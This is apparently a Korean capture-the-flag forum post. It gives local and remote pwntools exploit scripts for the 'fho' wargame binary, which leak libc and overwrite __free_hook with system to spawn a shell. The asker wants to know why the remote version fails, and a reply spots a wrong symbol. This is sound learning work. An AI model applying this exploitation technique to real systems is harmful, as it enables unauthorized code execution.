로컬에선 익스가 되는데, 원격지에선 불가능합니다.

1. 익스플로잇 코드

1-1. 로컬
from pwn import *

libc_start_main_offset = 0x21ba0+231
system_offset = 0x4f420 #
binsh_offset = 0x1b3d88
free_hook_offset = 0x3ed8e8

log.contect_level = 'debug'

p = process("./fho")

LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp

pause()

p.send(LibcLeakGarbage)
p.recvuntil("Buf: ")
p.recvuntil("Buf: ")
p.recv(0x40+0x08)
Libc = int.from_bytes(p.recv(6), byteorder='little')
print("main ret addr : " + hex(Libc))

libc_base = Libc-libc_start_main_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
free_hook_addr = libc_base + free_hook_offset
print("system addr : " + hex(system_addr))
print("binsh_addr : " + hex(binsh_addr))
print("free_hook_addr : " + hex(free_hook_addr))

p.recvuntil("To write: ")
pause()
p.sendline(str(free_hook_addr))

p.recvuntil("With:")
pause()
p.sendline(str(system_addr))

p.recvuntil("free:")
pause()
p.sendline(str(binsh_addr))

p.interactive()
1-2. 원격지
from pwn import *

log.contect_level = 'debug'

libc = ELF("./libc6-x32_2.21-0ubuntu4.3_i386.so")
p = remote("host3.dreamhack.games", *****)

LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp

pause()

p.send(LibcLeakGarbage) 
p.recvuntil("Buf: ")
p.recvuntil("Buf: ")
p.recv(0x40+0x08)
Libc = int.from_bytes(p.recv(6), byteorder='little')
#u64(p.recvline()[:-1] + b'\x00'*2) 
print("main ret addr : " + hex(Libc))

libc_base = Libc-(libc.symbols['__libc_start_main'] + 231)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.symbols['__free_hook']
free_hook_addr = libc_base + libc.symbols['__free_hook']
print("libc_start_main_now : " + hex(Libc))
print("libc_start_main : " + hex(libc_base))
print("system addr : " + hex(system_addr))
print("binsh_addr : " + hex(binsh_addr))
print("free_hook_addr : " + hex(free_hook_addr))

p.recvuntil("To write: ")
pause()
p.sendline(str(free_hook_addr))

p.recvuntil("With: ")
pause()
p.sendline(str(system_addr))

pause()
p.sendline(str(binsh_addr))

p.interactive()

2. 질문 사항

1-1의 코드로 로컬에선 익스가 가능한데, 1-2의 코드로 원격지에선 익스가 불가능합니다. 어떻게 해결하면 좋을까요?

2-1. 시도해본 것
  1. docker과 워게임의 libc 버전이 다를 수도 있단 생각이 들어서, ret의 libc_start_main을 leak한 후 https://libc.blukat.me/ 의 libc database에서 하위 1.5byte에 부합하는 몇 가지 libc 버전을 추렸습니다.

    이후 1-2 코드의 5 line에 각 so 파일을 전부 대입해봤지만 익스되지 않았습니다.
  2. fho 바이너리를 docker가 아닌 host wsl의 pwndbg로 뜯어봤을 때, docker에선 ret에 libc_start_main+231이 아닌 libc_start_call_main+128이 들어있는 걸 볼 수 있었습니다. 따라서 바이너리가 위치한 os 버전에 따라 ret에 적힌 주소가 libc_start_main이 아닐 수도 있고, 혹은 맞긴하지만 offset이 231이 아닐 수도 있단 생각이 들었습니다.
    그러나 1-1과 1-2 모두 중간까지 실행하고 출력값을 봤을때, libc_base의 하위 1.5byte가 0으로 채워져 있었기에 ret가 libc_start_main+231인 것은 거의 확실하다고 생각하여 해당 가능성은 폐지했습니다.
#pwnable #system #hook_overwrite #pie #relro
작성자 정보
답변 1

혹시 이것 때문인가요? 1-2 코드를 실제로 이렇게 쓴건지 질문 글에만 이렇게 쓰신건지?
binsh_addr = libc_base + libc.symbols['__free_hook']

2024.05.01. 13:55
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기